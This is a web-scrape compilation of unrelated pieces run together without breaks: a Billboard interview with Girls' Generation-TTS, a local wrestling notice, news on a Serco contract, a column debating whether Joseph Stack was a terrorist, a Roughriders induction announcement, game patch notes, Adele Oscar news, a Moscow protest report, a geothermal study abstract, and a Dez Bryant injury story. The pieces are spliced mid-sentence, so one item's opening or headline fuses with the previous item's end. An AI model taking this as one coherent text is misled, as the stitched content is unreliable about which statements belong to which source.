They said there is no hard evidence of corruption or fraud.
Also on HuffPostThe trio get deep on their new video, how they differ from their band mates and why the 'Rihanna, Ciara-type' record is them at their most raw.
In early 2012, Girls' Generation-TTS made Billboard chart history when their Twinkle EP became the highest-charting K-pop album ever. The splinter trio of K-pop phenoms Girls' Generation held that record for nearly two years and today returns with their new EP Holler.
MORE: Tiffany's 5 Favorite Pop Songs Right Now
Seohyun's Top 5 Broadway Musicals
Girls' Generation-TTS Hit New York Fashion Week
Holding their first interview about the project with Billboard, the girls say the stakes for this album are higher not only from their successful chart run, but because, this time, it's personal. In a hotel cafe in New York's meatpacking district the day after hitting the Polo Ralph Lauren show for Fashion Week, Taeyeon, Tiffany and Seohyun speak excitedly, and candidly, about their new effort focusing on how they made a "vocally entertaining" record that showcases "a much more raw side of our music."
One listen to the EP's title track certainly encompasses the former aspect, a brassy, sassy track centered around a chorus of high notes that most mortals can't hit. "It's a more mature version of [2012 single] "Twinkle," says Los Angeles-native Tiffany, who also translated for her bandmates. But as the EP moves on, it's clear the entire record is the result of a group maturation, most notably in the sensual, synthy R&B jam "Whisper," Taeyeon's favorite track (but more on that later).
Get deep with the TTS gals below in Billboard's exclusive Q&A.
BILLBOARD: How does Holler differ from your past albums?
TIFFANY: This album was really fun to put together because the songs were handpicked by all the members. So, we have the A&R sit down, give us a bunch songs and we go, 'No...no...we want this one! We want this!' From the video to the styling to the tracks, this album was really personal for us and it was fun for us to put out a much more raw side of our music. Rather than saying something, everything sounds cooler in a song, so it's finally time to say, "Hey, we've done that. We've been there." We hope that we can kind of express that.
All the other Girls' Generation songs were more, I think, cutesy and more energetic....Whereas the music we put together has so much more layers, so much more depth to it in terms of sound, choruses or harmonizing together.
Can you tell us more about some of the tracks? Which are your favorites?
SEOHYUN: ["Only U"] is a ballad piece with a lot of piano [that I wrote]. The lyrics are about the sincerity of love, about a true love. That you fall in love many times, but there's always going to be that special someone you won't forget. And that I want to find that special someone, out of all those people you have to meet through, and keep them in my life forever.
TIFFANY: Personally, I found "Only U" to be very romantic, very hopeful and very inspirational song. The cool part about the lyrics is about that she went on a trip to the Swiss Alps and was writing on the Alps. She told me, "It was so inspiring and the scenery was so beautiful and I was so relaxed." It's weird that she gets to go on trips alone.
SEOHYUN: I was listening to the music as I was going up on the lift and I thought, "I know what I'm going to write."
TAEYEON: My favorite song is 'Whisper' because it's a type of song we've never done before. It's really laid-back, but it still has that strong beat. It's a lot more sensual than our original music. That is the new side of Girls' Generation/TTS. It can actually be a trademark track to the TTS album. It's a lot more mature, it's very sexy. The first time we heard it, we were like, "Ooh, this one's going on!"
TIFFANY: I get a lot of Rihanna, Ciara-type of vibes from the song. We were careful [in song selection]. Literally, we said, "If it sounds too cutesy, we don't want it."
What can you tell us about your music videos? Is more than one planned?
TIFFANY: One for now, hopefully we'll get the chance to put new song material together too. We've been prepping this song together, especially "Holler," since late March/early April. We had so many different inspirations and seasonal looks to this song -- we have the spring version, the summer version -- and then it finally got decided for the fall season. So, we went for the S/W colors. There were a lot of ups and downs throughout the project, but we got it perfectly done. We're very satisfied.
The video has 10 different outfits -- we wanted to beat "Twinkle," that was two-and-a-half years ago, so we wanted it to be a lot more sophisticated. It was very J.Lo-inspired.
And I finally have my name on an album: I was visual director. I'm proud to say that it wasn't about me, or any specific member, being happy with the looks. It was like, 'So, do you like it?' and they'd go, "Eh..." or "Yeah!" So it was really exciting. And the girls got to choose what kind of patterns and what kind of cutouts they wanted to use in their outfits. I threw out the theme, but it was pretty much all them too.
Twinkle held the Billboard 200 record for nearly two years. Do you feel pressure to follow up with something bigger?
SEOHYUN: I just got goose bumps...of course there's a kind of worry. All those high expectations are kind of what motivated me and grounded me to making better music. Instead of being perfectly dolled up, I was happy I could choose the music wisely. I'll be thankful for people wanting to listen instead of just watching.
What's the ultimate takeaway you'd like fans and listeners to leave with?
TIFFANY: I think Girls' Generation was so much more visually entertaining. It had a lot of theatrical themes to it, we had a lot of conceptual outfits and the songs were very seasonal. This will be for all the seasons, for all the looks. Our main goal was to not be visually entertaining, but be vocally entertaining. You can listen to it and still be so entertained, so energized and so inspired. With Girls' Generation, you need to see the costumes, the shoes, everything put together. Whereas you can just listen to the [Holler] material and go 'Wow, this is so fun.' So, a vocally-entertaining, vocally-empowering album.
This media is not available on this platform.S.M. Entertainment Co., Ltd.
Compared to Girls' Generation, is there a different mindset between the three of you?
TIFFANY: We're the perfectionists towards music and practicing, I'd have to say....we want to get it down perfectly. With putting the album together, planning out the promotions like what magazines, what interviews, what performances we want to stage together, I'd have to say the focus level is way higher. Girls' Generation together, there's the whole teamwork and energy going on.
TAEYEON: Throughout the seven to eight years, we've been doing Girls' Generation and that type of performance visual and sound. It's finally time for us to the let the fans to trust us with what we've decided to put out in terms of music or looks. It doesn't have to be super-staged, I'm happy that it can be very raw. We can finally say, "Hey, this is what we want to show you. We know you'll like it, so trust us, have a listen and look at what we've brought for you."
And are you having fun filming your reality show, The TaeTiSeo?
SEOHYUN: Throughout the years, everybody's only seen the perfectly staged Girls' Generation performances. This time we get to show you step-by-step how we put a recording, choreography, album art or music video together. We get to show our professorial side, but we get to show our silly, normal side; the normal Taeyeon, what she would do at a candy store. When she gets tired, she can say that. The fact that we can be so free in terms of expressing ourselves is what I'm looking forward to our fans seeing most.
TIFFANY: We're actually putting together a behind-the-scenes video for this comeback. We were luckily partnered up with [Korean beauty and lifestyle] channel OnStyle [for the show] and I wanted it to kind of make this into an MTV Diary throwback and that's exactly what this is going to be: the MTV Diary throwback, plus the Korean fashion and beauty introduction and everyday life.
Any last words about this album or to your fans?
TAEYEON: Even though fans are around the world and we don't necessarily see or hear them because they come from different languages or cultures, I want to be able to reach you with music. I want you to share the feeling we get from making the music and share that experience.
SEOHYUN: It's been over two and a half years since the last album, we've experienced not only a lot of growth musically, but personally. We want to convey that maturation and experience to fans and give them that story.
TIFFANY: This album is just the mind, body and soul of all three of us. Not that I haven't been proud of past albums, but this album is something we are so proud of and so satisfied with. It's so right now. The fashion is very now, the music is very now. But it also captured [our ages] 25 and 23. I'm excited to be able to leave this down as kind of like a memoir or yearbook. I just hope the fans will be just as excited and open towards us growing up.
Stay tuned to Billboard's K-Town column all week for more exclusive goodies from the TTS girls.THE STINGAREE BAND PARENTS, INC & INDEPENDENT CHAMPIONSHIP WRESTLING, INC TO HOST LUCHAFEST IV
The Stingaree Band Parents, Inc & Independent Championship Wrestling, Inc. (ICW) to host a local family friendly event promoting good will in our community. ICW’s LuchaFest IV will take place on Saturday, November 5th. This event will host live professional wrestling.
ICW CHAMPIONSHIP
Mike Monroe (Champion) VS Angel Rose
ICW CHAMPIONSHIP #1 CONTENDERSHIP
Shawn Prime VS Stevie Richards
ICW PURE X CROWN CHAMPIONSHIP
Julian Kelevra (Champion) VS Ernest R. Alexander III
ICW PXC CHAMPIONSHIP #1 CONTENDERSHIP
FATAL FOUR WAY
Skull Mussolini VS Alex Todd VS Dude Hate VS Aron Agony
Also appearing will be former ICW Champions Dash "Qba Libre" Maverick, Sasson Rivera, ICW US Tag Team Champions The System, and all your favorite ICW wrestlers.
ICW presents LuchaFest IV on Saturday, November 5th, 2016 at the Miami High ASYLUM. Doors will open at 6:30 PM, pre show will begin at 7:00, official bell time will be 7:30.Please enable Javascript to watch this video
ST. LOUIS (KTVI) - Missouri Senator Roy Blunt tells FOX2 taxpayers should be outraged over the scandal at a Wentzville facility getting taxpayers money to process claims for Obamacare.
Workers and former workers have stepped forward saying they were doing little work for your dollars.
Senators Blunt and McCaskill want an investigation in Serco's contract and whether the company was charging you for too many workers who didn't have enough work.
Workers say they played games and read books to pass the time.
Senator Blunt says he's heard where workers were told to refresh their computers every 10 minutes to look like they were busy.
Both Serco and the government agency that gave them the contract, defend what your paying, with the company saying it's doing nothing wrong.
Previous Coverage:
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Email: [email protected] Wright on culture, politics and world affairs.
Joseph Stack had barely finished flying his airplane into a Texas office building when the battle over his legacy began.
Bloggers on the left asked why people — especially people on the right — weren’t calling him a terrorist. “If this had been done by a brownish-looking Muslim guy whose suicide note paralleled Islamist political themes,” wrote Matthew Yglesias, then right wingers would be “demanding that anyone who refused to label the attack ‘terrorism’ be put up on treason charges.”
Bloggers on the right, such as Conn Carroll, asked why people — especially people on the left — were acting as if Stack was a “conservative Tea Party nut” when the anti-tax animus that led him to point his plane at I.R.S. offices was only one part of an eclectic ideology.
These are arguments worth having, for two reasons.
Joseph Stack saw himself as part of a cause, as one in a long line of fighters against tyranny.
First, the label “terrorist” shapes our immediate response to attacks and our long-term policies. We’ve invaded countries and altered domestic surveillance laws as part of a “war on terror,” whereas we wouldn’t do such things as part of a “war on a nut who flew his plane into a building and is dead now.”
Second, given the apparent momentum of the Tea Party movement, it would be nice to know if Stack’s kamikaze mission was a not-all-that-shocking emanation from it — whether, as some claim, more than a few Tea Partiers are unhinged.
In common usage, a “terrorist” is someone who attacks in the name of a political cause and aims to spread terror — to foster fear that such attacks will be repeated until grievances are addressed. Thus, Amy Bishop, the vehement Alabama tenure-seeker, wouldn’t qualify as a terrorist; she seems to have no cause larger than herself and, when she gunned down colleagues, presumably wasn’t hoping to strike fear of the untenured into the hearts of tenured faculty everywhere.
Stack, in contrast, saw himself as part of a cause, as one in a long line of fighters against tyranny. The manifesto he left behind reads, “I know there have been countless before me and there are sure to be as many after. … I can only hope that the numbers quickly get too big to be whitewashed and ignored” — at which point, God willing, “the American zombies wake up and revolt.” This man was, by prevailing semantic conventions, a terrorist.
Was he a Tea Partier — or at least a Tea Party sympathizer? Conservatives who say no point to leftish themes in his manifesto. And it’s true that — in a line much-quoted by these conservatives — he seems to wish that the government would do something about health care. Then again, who doesn’t?
There are clearer left-wing strands in Stack’s writing — he identified with blacks and the downtrodden, he said the rich oppress the poor — but I’m not sure how relevant that is, because I’m not sure how purely conservative the Tea Party movement is anyway.
Yes, it mobilized against a liberal health care bill and the stimulus package, but it also opposes corporate bailouts. Sure, Tea Partiers hate taxes, but that alone doesn’t distinguish them from many Americans. On social issues the Tea Partiers include some libertarians along with a larger number of family-values conservatives.
And when you move to foreign policy, things don’t get more coherent. Though some Tea Partiers are hawks, many follow Ron Paul’s lead, combining a left-wing critique of military engagement with a right-wing aversion to the United Nations and other multilateral entanglements.
In the end, the core unifying theme of the Tea Partiers is populist rage, and this is the core theme in Stack’s ramblings, whether the rage is directed at corporate titans (“plunderers”), the government (“totalitarian”) or individual politicians (“liars”).
I don’t doubt that Tea Partiers are on balance on the right, and if their movement ever crystallizes into a political party that will be its location. But until the requisite winnowing happens, a person with Stack’s fuzzy ideology wouldn’t feel terribly alone at a big Tea Party.
Sometimes “terrorism” is a one-word self-fulfilling prophecy.
I emphasize that I’m talking about his ideology, not his penchant for flying planes into buildings. Still, some of the ingredients of that penchant — a conspiratorial bent, a deep and personal sense of oppression, an attendant resentful rage — can be found in the movement, if mainly on its fringes. There are some excitable Tea Partiers out there.
You could, on the one hand, follow this logic to the conclusion that Joseph Stack was the first Tea Party terrorist.
But you could instead conclude, as both Yglesias and the blogger Glenn Greenwald kind of suggest in their posts on the Stack episode, that maybe we should just quit using the word “terrorist.” After all, if we start thinking of the Tea Party movement as housing terrorists, then — “terrorist” being the policy-shaping word that it is — we’ll be more inclined to wiretap Tea Partiers and infiltrate their gatherings. And subjecting excitable people with a persecution complex to actual persecution could lead to more excitement than I’m in the mood for.
Obviously, there are circumstances under which any political movement would pose enough of a threat to warrant special surveillance. But defining that threshold is a delicate matter, best done calmly. And there’s something about the word “terrorist” that can impede cool reflection and get people to define the threshold in a way that winds up fueling more terrorism. Sometimes “terrorism” is a one-word self-fulfilling prophecy.
So, for example, if we do as some suggested in the wake of the foiled underwear bombing and start subjecting Muslims to ethnic profiling at airports, this indignity will help terrorist recruiters. Indeed, any capable terrorist mastermind aims to inspire just this sort of overreaction.
Including Joseph Stack. Here is his stated rationale for his final mission: “I would only hope that by striking a nerve that stimulates the inevitable double standard, knee-jerk government reaction that results in more stupid draconian restrictions, people wake up and begin to see the pompous political thugs and their mindless minions for what they are.”
Overreaction was a reasonable thing for him to hope for, given the way America reacted the last time terrorist-flown aircraft hit American buildings. And the fact that he hoped for it may be yet another reason to consider him a terrorist; strategically, he thought just as Osama bin Laden does. But maybe our best revenge against both of these terrorists would be to avoid describing them that way.
Postscript (added after reading a few dozen angry comments): Just to clarify a few things: 1) When I said in this column that you could in principle follow my logic to conclude that Joseph Stack was a Tea Party terrorist, I should have added the explicit reminder that this logic depended on accepting the somewhat squishy definition of “Tea Party” ideology that, I argue, is appropriate given the still-inchoate nature of the movement; 2) I’m of course not saying that Stack has much in common with the average law-abiding Tea Partier (any more than Osama bin Laden has much in common with the average law-abiding Muslim or law-abiding Islamist) — even though I do think that intense rage, which Stack evinced so violently, can be found on the movement’s fringes; 3) I’m definitely not, as some commenters seem to think, saying that Stack is a conservative terrorist. Indeed, my point is that the Tea Party movement is still undefined enough to accommodate ideologically eclectic people. However, I think commenters who take the Stack manifesto’s closing reference to the Communist Manifesto as a sign of communist sympathies are misreading his intent; and I suspect his closing characterization of capitalism isn’t meant as a rejection of free-market economics but rather as a complaint that capitalism has become corrupted in America. I think the overall point of those two references is that capitalism, as it’s being corruptly practiced, is no better than communism, and may be worse. But there will never be any way of knowing for sure what he meant.
Bibliography: On the populist nature of Tea Partiers, and the attraction of some of them to conspiracy theories, see this New York Times piece. On the small but nonetheless unsettling following that Stack has attracted since his suicide mission, see this A.P. story that ran in The Washington Post and elsewhere. A recent survey sheds a bit of light on the views of people who see themselves as sympathizing with Tea Partiers. The publicly released version of the data says little about the much smaller number of respondents who had actually participated in Tea Party events, but, interestingly, Ramesh Ponnuru, who co-authored an analysis of the survey that was published in National Review, tells me that about one-third of these Tea Partiers reported having voted for Obama.The Saskatchewan Roughrider Plaza of Honor Committee has announced two new members will be inducted into the SaskTel Plaza of Honor as the class of 2016. This year Matt Dominguez and Ivan Gutfriend will have their names forever etched into Saskatchewan Roughrider history.
The Plaza of Honor Dinner presented by SaskTel has inducted 120 individuals who have made major contributions to the proud tradition of the Saskatchewan Roughrider Football Club. The club has also inducted the 1966, 1989 and 2007 Grey Cup championship teams.
The cairn recognizing the Plaza of Honor inductees is situated outside the main gates on the west side of Mosaic Stadium. The Plaza of Honor cairn is sponsored by SaskTel, SASK SPORT INC. and the City of Regina.
The SaskTel Plaza of Honor Dinner is known as Saskatchewan’s most prestigious sports dinner and as a result has contributed over $6 million to the Saskatchewan Roughrider Football Club.
This year’s dinner is set for Friday, September 16th in the Credit Union Eventplex at Evraz Place. Five seasons ago the Dinner was moved to the Eventplex in order to meet the demand for tickets and accommodate a larger audience. The space allows patrons the opportunity comfortably mingle and meet friends and associates throughout the evening.
For information on tickets or corporate tables, contact the Saskatchewan Roughrider Ticket Office at 525-2181 or 1-888-474-3377 or any committee member.
For tickets online click here!
Matt Dominguez- #88
Sam Houston State
Wide Receiver
2003-2008
Born in Georgetown, Texas in 1978
Played six seasons in the CFL – all with the Roughriders
Played his college football at the Sam Houston State in Huntsville, Texas
Originally signed in May, 2003 after spending two seasons with the Denver Broncos
Played 59 regular season games
Finished his CFL career with 250 receptions for 3,741 yards and 19 touchdowns
Played in six playoff games totaling 27 receptions for 440 yards and three touchdowns
Won the Grey Cup with Saskatchewan in 2007
Selected West Division All-Star in 2006
IVAN GUTFRIEND
Athletic Therapist
1978-2015As we dig out from the rubble of the financial sector’s collapse, it’s common to hear analysts fret that the United States may now be facing a Japan-style “lost decade.” Throughout the 1990s, after its real estate and stock bubble burst, Japan struggled with low growth for more than 10 years. It emerged from the decade shrunken and sapped of confidence, with very little to show for a large amount of government spending and near-zero interest rates.
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often you come across a whole lump of stuff on radio that feeds into your interests, but Radio 4 and Radio 4 Extra have done it with Dangerous Visions, in their words, “A season of dramas that explore contemporary takes on future dystopias“. I’ve written before about how I love this kind of stuff. Right now I’m listening to a ‘dystopia’ episode of Radio 4’s Start The Week, including discussion with writer Hari Kunzru, and Jane Rogers, discussing her book The Testament of Jessie Lamb, which I found enjoyable, but not amazing. Not as powerful as something like PD James’ Children of Men, for example, which followed a similar idea. It’s a bit unclear whether Kunzru’s book is a straight up novel; it also seems to consist of a show.
But more excitingly, for me, is that BBC are doing new radio adaptations of JG Ballard’s The Drowned World and Concrete Island, and reminded me of this. Both are great novels, and illustrate that Ballard does sci-fi – some of his more famous novels like Crash and Empire of the Sun might lead you to think otherwise. Confusingly, googling The Drowned World suggests it’s been adapted at least once by the BBC before, read by Robert Glenister; this is a new adaptation. It’ll be interesting to see how Concrete Island is adapted for radio. The book requires a little suspension of disbelief, in the idea that someone could be stranded Robinson Crusoe style on a traffic island, but it does benefit from being able to re-read descriptions of the landscape and get your bearings. This won’t be possible on radio, obviously.
Finally, I half heard, and will now go listen on iPlayer, a play called The Sleeper, starring Maxine Peake, which seems to be another piece of speculative fiction: “This is a Britain in which, decades ago, human beings gradually lost the gift of sleep.” Although, with two small kids in my house, it doesn’t seem so much sci-fi as morbid reality.
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Notes:
Due to substantial changes to the passive skill tree, we've wiped all the passive skills again. Please take care reallocating your passives so that you can use your equipment and gems.
We've added a Singaporean gateway to the Beta realm! Please try it out if you're in Australia. New Zealanders should still use the American gateway for now.
Features/Content:
Substantially revamped the Passive Skill tree. Details are in the Passive Skill Tree Balance section below.
Added the Act Two boss and associated world darkness event.
You can now swap between two weapon sets by pressing X or clicking the tabs above the slots on the inventory screen. Gems in the swapped-out set continue to gain experience as normal, but their skills cannot be used unless swapped back in.
Added two new new Unique items designed by our Diamond supporters.
Removed the Maelstrom of Chaos. It has been replaced by our Maps end-game. For more information about Maps, please read the development diary entry on our site.
Added 45 Map areas, each with its own boss.
Added a new currency item - Cartographer's Chisel: Upgrades the quality of a map.
Added three new tilesets from Act Three, which are currently only featured in Map areas.
Added a new Dexterity support gem - Blind: Associated skills have a chance to blind their targets for 4 seconds. Blinded monsters have 75% less chance to hit (multiplicatively).
Added new combat sounds for the Templar.
Renamed Alira's Camp to the Western Forest.
You can now use the arrow keys to move between stash tabs.
Whisper messages now have an arrow to indicate whether they were sent or received.
Added some new Totem types for end-game Map areas.
Changed the behaviour of the shift key so that if you press it while running, you will stop and force-attack.
Continued to incrementally improve the art, effects, environments and sound.
General Balance:
Quest rewards have been rebalanced and now include some rare item rewards in higher difficulties. These rare items cannot get mods higher than the level of your character.
The attack speed bonus for dual wielding is now multiplicative rather than additive with other speed bonuses.
Small chests now drop fewer items and large chests now drop more.
Increased item quantity prefixes have been removed from the game. Items that already have them are unaffected.
Made it slightly easier for players and monsters to be stunned.
Confirmed that the increased item rarity bonus for Large Chests was working correctly. Then we doubled it.
Monster Balance:
The Ship Graveyard Cave is now level 14 in Normal difficulty.
Experience yield for several monsters has been adjusted to reflect their challenge.
Reduced the damage of Rhoas slightly.
Increased level progression towards end of Merciless Act 2.
Difficulty of monsters at level 60 areas has been reduced, with progression now extended to level 70 (in Map areas).
Monster resistances have been increased in all difficulties.
Reduced the experience that necromancers yield when killed.
Increased the experience that Brutus yields when killed.
Vaal Fallen are now stronger.
Reduced Oak's life and improved his skills in higher difficulties.
Active Skill Balance:
Lightning Strike: The damage penalty on its projectiles is now 30% rather than 20%.
Stun Support Gem: Mana cost reduced.
Flicker strike: Now has a cooldown which can be bypassed by spending a Frenzy Charge. Corrected some mistakes in its damage progression.
Cold Snap: Increased its damage. Now has a cooldown which can by bypassed by spending a Power Charge.
Enduring Cry: Now has a cooldown.
Molten Shell: Reduced the damage required to set it off in the first four levels.
Passive Skill Tree Balance:
Weapon Elemental damage passives reduced.
Water Dancing notable changed to include Dexterity.
Values of Block recovery nodes improved and consolidated.
Shield Armour passive changed to be general defences.
Increased physical weapon damage nodes.
Redesigned the tree with the following features :
: Fewer choices at the very beginning of class start areas.
Class identities strengthened with increased opportunity costs to building heavily off-class
Most builds requiring a few specialised notables and Keystones should be easier
Builds requiring many cross-tree notables and keystones made more costly
Defensive nodes around the tree made more even
Item Balance:
Improved life gain and leech implicit mods on all Claw weapons.
Slightly increased the implicit fire damage and physical damage on quivers.
Decreased the magnitudes of elemental damage mods on items and physical damage mods on non-weapon items.
Prevented high level elemental and non-weapon physical damage mods from appearing on some item types.
Reduced how often elemental damage mods appear on non-weapons.
Glinting mods changed to have the same values, regardless of what type of item they appear on.
Improved implicit block rate on staves.
Bug Fixes:
If a character has no valid skill on its left mouse button, it is no longer unable to move.
Items shown to you as results of sell-vendor recipes do not display sockets any more. This is to prevent players essentially getting free rerolls of sockets by trying different combinations of items.
Reduced the vertical selectable height of Portals so that it's harder to miss-click and accidentally consume a portal you just created.
You no longer gain experience while dead.
Fire trap can now be supported by area of effect support gems.
Fixed some rare item names that could not spawn before.
Fixed Unique monsters so that they now have a +2 bonus to item level in the same way that Rare monsters do.
Fixed a bug that would cause a resource to be loaded from the hard drive each time an arrow was fired.
Fixed a bug where monsters that were meant to not repeat actions consecutively would in fact repeat them.
Fixed a bug where the wrong environment could be picked when entering a multi-level area area via a portal.
Fog no longer interacts with the shimmer post-processing effect incorrectly.
Skill icons on the character screen now have their backgrounds back.
Fixed a bug that would cause small monsters to drop too many items in multiplayer instances and large monsters too few.
Fixed a bug where Conversion Trap could permanently convert a monster.
Totems with Blood Magic (from either a Support Gem or the player's passives) now do not spend their own life to cast spells.
Clicking on the noticeboard in town will now change to the public party tab if the social panel is visible.
Fixed a bad interaction between on-drink flask effects and the Puncture skill.
Fixed a bug that could allow you to detonate mine when you had none out.
The damage prediction of armour values on the character screen is now more accurate for players over level 30.
Fixed level-up sounds so that you hear them in stereo and other players hear them placed in the 3d world correctly.
The Dripping Dead in the Mud Flats are now the correct level.
Vendor offer prices have been fixed on increased item rarity prefixes.
Global notifications during special leagues now appear even when Hide Global Chat is on.
Settings are no longer saved if you're disconnected while changing them.
The Righteous Fire skill gem can now drop from monsters and chests. For problems loading the passive skill tree: Try force clearing your browser cache, in most browsers this means hitting ctrl + f5 a couple of times. YouTube |
Lead Developer. Follow us on: Twitter Facebook | Contact Support if you need help! Last edited by Chris on Jul 23, 2012, 3:58:28 AM
Posted by Chris
on Grinding Gear Games onIT has been confirmed that Adele will make her anticipated return to the stage when she performs ‘Skyfall’ at the 85th Academy Awards next month.
IT has been confirmed that Adele will make her anticipated return to the stage when she performs ‘Skyfall’ at the 85th Academy Awards next month.
It will be the first time the singer, who recently gave birth to her first child, has performed the Bond theme live.
She said: "It's an honour to be nominated and terrifyingly wonderful to be singing in front of people who have captured my imagination over and over again. It's something I've never experienced and probably only ever will once!"
‘Skyfall’ is the first Bond theme song to be nominated for an Oscar since Sheena Easton's 'For Your Eyes Only' in 1981.
Show producers Craig Zadan and Neil Meron said: "We have enormous respect for Adele's unique artistry as a songwriter and a singer.
"She is currently one of the most successful recording artists in the world, and we believe that her performance of 'Skyfall' will be an exciting Oscar moment for audiences watching at the Dolby Theatre and on television screens around the world."
It is also rumored that all six Bonds - Sean Connery, George Lazenby, Roger Moore, Timothy Dalton, Pierce Brosnan and Daniel Craig – will appear together for the first time ever at the ceremony to mark the movie franchise’s 50 years.
It is believed Adele’s performance could form the centre-piece for the actors’ appearance on stage.
The 85th Academy Awards take place on February 24th.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
Eleven gay rights activists were arrested today for holding a protest outside Moscow’s city hall in protest at the homophobia of mayor Yuri Luzhkov.
They were arrested by police at around 6.15pm local time after chaining themselves to a metal fence next to the building and were later released.
Russian gay rights leader Nikolai Alekseev, who was one of those arrested, spoke to PinkNews.co.uk while he was in Tverskoy police station and waiting for police to finish the “protocols” of the arrests.
He said: “We handcuffed ourselves to the fence and the police took us out by force. They broke the handcuffs, my hand is all [covered] in blood.”
He estimated that between 40 and 50 participants joined the protest but said he did not know if others were being held at other police stations.
Later, Mr Alekseev told UKGayNews: “Today it was like a VIP service at the police station. The police did everything to write the protocols and get rid of us as fast as possible.
“We have been charged for taking part into an unsanctionned event only and not for disobying police orders. As a result, the maximum sentence is a fine. My case is scheduled for October 6th.
“I have never seen any such service from this police station in the last five years that I have been regularly taken there when conducting our actions.”
The protest was banned by city authorities last week but campaigners decided to go ahead without permission after Mr Alekseev was apparently unlawfully detained for more than two days by authorities last week.
During the protest, campaigners held up gay rights posters and a doll of Mr Luzhkov.
The mayor has called gays and lesbians “satanic” in the past and refused permission to hold Pride marches.
Activists have attempted to hold them anyway and are taking a case against Moscow city authorities to the European Court of Human Rights.This paper presents an investigation into the suitability of abandoned wells in California for Enhanced Geothermal Systems (EGS) and low temperature deep Borehole Heat Exchanger (BHE) applications. The study identifies three counties characterized by high numbers of abandoned wells, medium to high crustal heat flows (75–100 mW/m2), and suitable sedimentary geology: Santa Clara, Monterey, and Santa Barbara. Thermal gradients range between 4 and 7.3 °C/100 m and enable access to the bottom hole temperatures between 40 and 73 °C for an average 1000 m deep well. These rock temperatures are sufficient for low-temperature direct use EGS such as district heating, greenhouse heating, and aquaculture. Economically, the mitigation of drilling costs and the documented lithology both reduce the risk associated with EGS. However, hydraulic fracturing of loosely to moderately consolidated sedimentary rock in transitional stress regimes remains one limitation to the EGS conversion of these abandoned wells. Alternatively, the feasibility of deep BHE applications within abandoned oil and gas wells is demonstrated here with a mathematical model. Predictions show that outlet fluid temperatures >40 °C can be achieved for 1000 m deep wells in regions with temperature gradients >7 °C/100 m.This story is about Published Sep. 2016
Dez Bryant has hairline fracture in knee; WR not ruled out for Sunday, but could miss up to 3 games Share This Story On... Twitter
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Staff Photographer Dallas Cowboys wide receiver Dez Bryant (88) gets pulled down with his foot caught underneath Chicago Bears inside linebacker Christian Jones (52) as he attempts to break free on a pass play during the first quarter of play at AT&T Stadium in Arlington on Sunday, September 25, 2016. (Vernon Bryant/The Dallas Morning News)
By Jon Machota, Staff Writer Contact Jon Machota on Twitter: @jonmachota
FRISCO -- A day that began with many questions surrounding Dez Bryant's injured right knee ended with some answers, but plenty of uncertainty. Bryant has a hairline fracture, coach Jason Garrett revealed Wednesday. The fracture is in the tibial plateau on the lateral side where the bone meets the knee, a source said. Although Bryant hasn't been ruled out for Sunday, it appears unlikely that he will be able to play. There's no exact timetable for his return. He could miss one week or the next three. During his Wednesday morning news conference, Garrett said only that Bryant would not practice. Garrett said the team was still in the process of evaluating the knee, which the star receiver injured on the second play from scrimmage in Sunday's 31-17 victory over Chicago.
Could Dez Bryant play Sunday? Garrett: "We just got to see how he does today and going forward...He doesn't feel good enough to practice." — Jon Machota (@jonmachota) September 28, 2016
Garrett then broke the news in a post-practice conference call with reporters who cover the 49ers. An MRI exam Wednesday morning had revealed the fracture. While that was taking place, Bryant was talking to his teammates in the weight room. He walked with a slight limp and his right knee was heavily wrapped. While walking from the weight room to the locker room, Bryant appeared to be in good spirits. When asked if he would play Sunday, Bryant smiled and responded: "I might. I might." The open locker room period ended with Garrett meeting with local reporters to give the latest information on Bryant's knee.
"He has a slight hairline fracture in one of the bones of his knee," Garrett said. "What I've been told is it's a day-to-day, week-to-week injury. We've had players with this kind of injury who missed no time in the past, and other players who have missed up to a week or two, or more than that. "We'll take it day by day and we'll see how he does when he comes in tomorrow." Cowboys owner Jerry Jones said after Sunday night's game that X-rays revealed Bryant had a sprained knee and he would have an MRI on Monday. So why the wait until Wednesday? "I don't want to get into the whole medical procedure," Garrett said. "We have the information now."
Dez Bryant options.
Best case scenario: Plays Sunday.
Worst case scenario: returns to play Philadelphia after bye on Oct. 30. — David Moore (@DavidMooreDMN) September 28, 2016
On Sunday, after suffering the injury, Bryant spent time on the sideline with team doctors and athletic trainers. He had his knee wrapped before returning to the game. He ended up playing 52 of the team's 68 offensive snaps. Bryant, who never appeared to be favoring his right knee, caught a 17-yard touchdown pass in the fourth quarter. If Bryant is unable to play Sunday, Brice Butler would step into the starting lineup. The Cowboys traded for Butler last season after Bryant broke his right foot in the season opener. Butler dealt with hamstring injuries last season, but he caught 12 passes for 258 yards. Butler has only one reception for 16 yards this season. "I'm ready," Butler said. "That's all I got to say. I can't speak for him. I hope he gets back quickly. I'll hold it down for him while he's gone. I believe that I can be a starter here and this is my opportunity to showcase that."
10 things Cowboys fans need to know about the 49ers including the All-Pro LB Zeke has to face, a familiar coach
Foot, ankle and knee issues forced Bryant to miss seven games last season. The Cowboys went 1-6 without him. They finished the 2015 season 4-12 largely because they were without a healthy Bryant and Tony Romo for nearly the entire season.
Even more precise info on Dez Bryant injury after talking to several people: hairline fracture of tibial plateau. Lateral. Sunday a longshot — David Moore (@DavidMooreDMN) September 28, 2016
If they are without those two Sunday, why should better results be expected? "If everybody worries about their job, we'll be all right," wide receiver Cole Beasley said. "These guys are doing a good job of not blinking when stuff happens. "We did a good job when Romo went down. I don't expect these guys to do anything different." Center Travis Frederick added: "There's a different sense or a different feeling in the locker room. And confidence might be it. It might be camaraderie. It might be team chemistry. "We're starting to get things rolling a little bit, and so when that happens it makes it a little bit easier when you have pieces moving in and out." Staff writer David Moore contributed to this report. Dez Bryant injury history 2010 Injury: Fractured his right ankle on a kickoff return against the Colts in Week 13, causing him to miss the rest of the season. Games missed: Four 2011 Injury: Suffered a bruised quadriceps while returning a punt in the season opener, causing him to miss Week 2 in San Francisco. Games missed: One 2012 Injury: Broke his left index finger, but elected to play through the injury and have offseason surgery. Games missed: None 2015 Injuries: He broke his right foot in the season opener and had surgery, causing him to miss five games. Bryant returned in Week 8 but was never fully healthy the rest of the season. He injured a knee while making a leaping touchdown catch in Week 9. Bryant was placed on injured reserve for the final week of the season. He had foot and ankle surgery a week later. Games missed: seven.
Twitter: @jonmachota
This Topic is Missing Your Voice.Bearing carriers for my Sieg X1 micro milling machine.
The first image shows one of the carriers next to one of the original retainers.
